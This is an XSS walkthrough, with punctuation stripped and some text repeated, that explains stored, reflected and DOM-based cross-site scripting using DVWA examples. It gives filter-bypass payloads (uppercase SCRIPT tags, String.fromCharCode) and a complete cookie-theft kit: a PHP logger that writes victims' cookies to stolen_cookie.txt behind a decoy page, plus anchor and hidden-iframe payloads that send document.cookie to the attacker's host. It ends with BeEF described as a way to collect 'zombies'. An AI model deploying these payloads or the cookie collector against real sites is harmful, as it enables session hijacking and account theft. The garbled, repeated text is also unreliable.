Complete Cross site Scripting Walkthrough

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Introduction, wikipedia definition for XSS is Cross site scripting XSS is a type of computer insecurity. vulnerability typically found in Web applications such as web browsers through breaches of browser. security that enables attackers to inject client side script into Web pages viewed by other users. A cross site scripting vulnerability may be used by attackers to bypass access controls such as the. same origin policy Cross site scripting carried out on websites accounted for roughly 80 5 of all. security vulnerabilities documented by Symantec as of 2007 Their effect may range from a petty. nuisance to a significant security risk depending on the sensitivity of the data handled by the. vulnerable site and the nature of any security mitigation implemented by the site s owner. Simply XSS also known as CSS Cross Site Scripting Easily confused with Cascading Style. Sheets is a very common vulnerability found in Web Applications XSS allows the attacker to. inject malicious code the reason of that is the developer trusts user inputs or mis filtering issues. then send back user input data to the client browser so the malicious code will execute. XSS is Dangerous, XSS is really dangerous it s severity is High because it could change the website DOM and could. lead to stealing credentials of the administrator in these cases the attacker can control and. compromise the whole application,What does the attacker want to achieve. Changing Setting,Cookie theft,False Advertising,Steal a Form Tokens to make CSRF Easier. And more you have to be creative to exploit XSS,There are Three Types of XSS.
Persistent Stored XSS,Attack is stored on the website s server. Non Persistent reflect XSS, user has to go through a special link to be exposed. DOM based XSS,problem exists within the client side script. we will discuss each kind of these in details as you will see. Persistent Stored XSS, wikipedia definition The persistent or stored XSS vulnerability is a more devastating variant of. a cross site scripting flaw it occurs when the data provided by the attacker is saved by the server. and then permanently displayed on normal pages returned to other users in the course of regular. browsing without proper HTML escaping A classic example of this is with online message boards. where users are allowed to post HTML formatted messages for other users to read. Simply Persistent XSS is occurs when the developer stores the user input data into database server. or simply writing it in a file without a proper filtration then sending them again to the client. Persistent Stored XSS Demo, Here is a PHP code that suffers form Persistent XSS.
if isset POST btnSign,message trim POST mtxMessage. name trim POST txtName,Sanitize message input,message stripslashes message. message mysql real escape string message,Sanitize name input. name mysql real escape string name,query INSERT INTO guestbook comment name VALUES. message name, result mysql query query or die pre mysql error pre.
the two parameters in that code message and name are not sanitized properly the we store these. parameters into the guestbook table So when we displaying these parameters back the client browser. it will execute the malicious JavaScript code, For Demonstrating this we will exploit DVWA application. Here we are injecting our JavaScript code,script alert here is stored XSS script. After Submitting this form Our JS code has been executed. Non Persistent Reflected XSS, Wikipedia definition The non persistent or reflected cross site scripting vulnerability is by far the. most common type These holes show up when the data provided by a web client most commonly. in HTTP query parameters or in HTML form submissions is used immediately by server side scripts. to generate a page of results for that user without properly sanitizing the request. Non Persistent Reflected XSS Demo, Here is a php code that suffers form Reflected XSS. if array key exists name GET GET name NULL GET name. isempty true,echo Hello GET name, AS you can see that the name parameter doesn t sanitized and echo back to the user so when the.
user inject a malicious JS code It will execute, Now we will inject our malicious js Code For demonstrating we will inject. script alert xss script For Demonstrating this we will exploit DVWA application. Here is the vulnerable box, will inject an alert box Code script alert xss script. Here is the url,xss r name script alert xss 2Fscript. DOM based XSS, Wikipedia definition is DOM based vulnerabilities occur in the content processing stages performed. by the client typically in client side JavaScript The name refers to the standard model for. representing HTML or XML contents which is called the Document Object Model DOM. JavaScript programs manipulate the state of a web page and populate it with dynamically computed. data primarily by acting upon the DOM, simply that type occurs on the javascript code itself that the developer use in client side for example.
A typical example is a piece of JavaScript accessing and extracting data from the URL via the. location DOM or receiving raw non HTML data from the server via XMLHttpRequest and then. using this information to write dynamic HTML without proper escaping entirely on client side. DOM based XSS Demo, Suppose the following code is used to create a form to let the user choose his her preferred language. A default language is also provided in the query string as the parameter default we will use the. following code for demonstration purposes, document write OPTION value 1 document location href substring. document location href indexOf default 8 OPTION,document write OPTION value 2 English OPTION. The page is invoked with a URL such as http www some site page html default French. A DOM Based XSS attack against this page can be accomplished by sending the following URL to. a victim http www some site page html default script alert document cookie script. The original Javascript code in the page does not expect the default parameter to contain HTML. markup and as such it simply echoes it into the page DOM at runtime The browser then renders. the resulting page and executes the attacker s script. alert document cookie, Now we ve discussed all types of XSS so lets talk about some advanced techniques. Advanced Techniques, there are some avoidance Techniques can be taken to protect a against XSS exploits but they are not.
implementing well for example, Tons of sites may seem vulnerable but not executing the code that occurs because some kind of. filtration methods and those may can be bypassed we will demonstrate most of them. METHOD 1 replace script with null string, here is the vulnerable code that suffers from reflected xss that has a filtration. if array key exists name GET GET name NULL GET name. isempty true,echo Hello str replace script GET name. as you can see in the previous code the developer replace the string that called script with. a Null string, Some common methods to bypass filteration is that you just have to replace the string script. with SCRIPT because the developer search for lowercase of script so we bypass. it by change our script to SCRIPT SCRIPT, Here is an other way to bypass the previous filteration.
script type text javascript alert XSS script, Please note its bad practice to use alert XSS to test for XSS because most of known sites block. the keyword XSS before,METHOD 2 magic quotes filtration. in this Technique the developer uses technique that called magic quotes filtration by using. a PHP function called addslashes that add slash before any special chars So Our traditional. JavaScript code doesn t work, there are many ways to bypass that filter we will discuss two of them. 1 the easiest way to bypass it is Just DONT USE magic quotes simple is that for example. declaring a variable and assigned it to a number then alert that variable. AS you can see here script var val 1 alert val script. 2 this way is some what tricky in this way we use a built in Function that convert Decimal values. into ASCII values you can find a complete table of ASCII here http www asciitable com. this will help you write what you want OR you can use hackbar firfox add ons to help you on. converting ASCII to decimal In my examples ill be writing XSS this is the following code. 120 115 115 Ok we now got the Decimal value of our string we need to know what function I. n javascript converts this to ASCII this function called String fromCharCode and to use this with. alert as example you dont need to use quotes any more. script alert String fromCharCode 120 115 115 script. Ok now this will display or message in this case XSS this method is very useful for bypassing. magic quotes,How Can an Attacker Steal cookies, At first glance you hear about Stealing Cookies you may think it need a hard work to. implement or even to understand but i tell you that is so simple just you will need. some programming background and XSS Vulnerability Simple is that. the Scenario of stealing cookie is that We will create a PHP file called collect cookie php. then we will upload it to any webhosting company after that we will inject a java script. code that will send Cookies to our malicious website When the php file recieve the. Cookie information it will save it in afile called stolen cookie txt. To can steal cookie we need to some issues,A PHP Script that will recieve the cookie.
the javascript code that will steal the cookie and send it to our malicious site. a web hosting company that will host our php file,First collect cookie php. Here is the PHP script that will use to collecting Cookie and save them into stolen cookie txt. collectedCookie HTTP GET VARS cookie,date date l ds of F Y h i s A. user agent SERVER HTTP USER AGENT,file fopen stolen cookie txt a. fwrite file DATE date USER AGENT user agent COOKIE cookie n. fclose file, echo b Sorry this page is under construction b br br Please Click a. href http www google com here a to go back to previous page. So lets understand what the script will do,collectedCookie HTTP GET VARS cookie.
in this line we will store the data that is stored in a get variable called cookie then. store it in avariable called collectedCookie,date date l ds of F Y h i s A. here we store the date of the connection Occurs it tells us when these cookies have been. user agent SERVER HTTP USER AGENT, here we store the user agent of the victim for further attacks if it needs to. file fopen stolen cookie txt a, here we create a file called stolen cookie txt that has victim s cookie information. fwrite file DATE date USER AGENT user agent COOKIE collectedCookie n. here we save the data as this format DATE USER AGENT COOKIE. fclose file,her we close the file handle, echo b Sorry this page is under construction b br br Please Click a. href http www google com here a to go back to previous page. here we print message on the screen Sorry this page is under construction. and give him a link to click on it that send it to google. Here we have finished the first filecthat will collect the cookie information. Second javascript code, Here is the JavaScript code that we will inject into the victim server or browser.
We can inject any one of these scripts, a onclick document location http 127 0 0 1 collect cookie php. cookie escape document cookie href Click here for Details a. this script need user interaction because it print a link to the user if the user. clicks on that link the redirection to our site with the cookie information will be. iframe width 0 height 0 frameborder 0, src script document location http 127 0 0 1 collect cookie php. cookie escape document cookie script, This script doesn t need user interaction here we will inject an iframe in the. victim website and it s hidden so the victim can t see that and the connection. will be done, Finally we will find the cookie by browsing the file that called stolen cookie txt. Here is a video that demonstrate how to steal a cookie. http www youtube com watch v ZeLyJnhz4ak,What is BeEF.
BeEF is acronym for Browser Exploitation Framework it s used to collect alot of zombies. and do alot of exciting attacks on those zombies that give us agreat enviroment because. it makes the hard work instead of us, Thanks to a web application known as beef Browser exploitation framework that helps. us to collect a lot of zombies the victim in a botnet is called a zombie and it s an easy. an automated process, here is the defination of BeEF from the Official site. The Browser Exploitation Framework BeEF is a powerful professional security tool. BeEF is pioneering techniques that provide the experienced penetration tester with practical. client side attack vectors Unlike other security frameworks BeEF focuses on leveraging. browser vulnerabilities to assess the security posture of a target This project is developed. solely for lawful research and penetration testing. BeEF hooks one or more web browsers as beachheads for the launching of directed command. modules Each browser is likely to be within a different security context and each context. may provide a set of unique attack vectors The framework allows the penetration tester to. select specific modules in real time to target each browser and therefore each context. The framework contains numerous command modules that employ BeEF s simple and. A PHP Script that will recieve the cookie the javascript code that will steal the cookie and send it to our malicious site a web hosting company that will host our php file First collect cookie php Here is the PHP script that will use to collecting Cookie and save them into stolen cookie txt lt php

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